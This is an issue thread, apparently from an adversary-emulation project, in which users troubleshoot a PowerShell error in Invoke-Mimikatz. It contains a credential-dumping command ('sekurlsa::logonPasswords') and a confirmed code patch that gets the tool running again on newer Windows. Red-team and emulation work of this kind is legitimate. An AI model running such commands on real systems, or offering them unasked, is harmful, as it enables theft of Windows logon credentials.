Error when Running Mimikatz

[aktibista]

Hostname: win8
Command Line: powershell -command -
StdIn: [[powerkatz]] Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonPasswords exit"
StdOut:
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:886 char:6

•     $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddr ...
  

•     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  

  • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
  • FullyQualifiedErrorId : AmbiguousMatchException

[dm-mitre]

This seems like a bug in PowerShell MimiKatz. We may need to upgrade the version.

[CG-root]

It seems that the issue starts from Windows 10 latest major update in April (Version 1803).

[CG-root]

I think I have solved it.

Change the following line:
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')

To

$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);

Let me know if this solves the issue

[aktibista]

I confirm that the solution works!

[unkempthenry]

Unsure if the above script change only works on Windows 8.1 and not 10 (see #47 ). We should probably update Powersploit and mimiktaz across the board.

[wyncollier]

CG-Root is a God. I can verify that the fix works on line 886.

[unkempthenry]

0b2c9e0 uses the latest version of Invoke-Mimikatz from Empire, I believe that this should solve this problem for new installs. Thanks everyone for digging into this!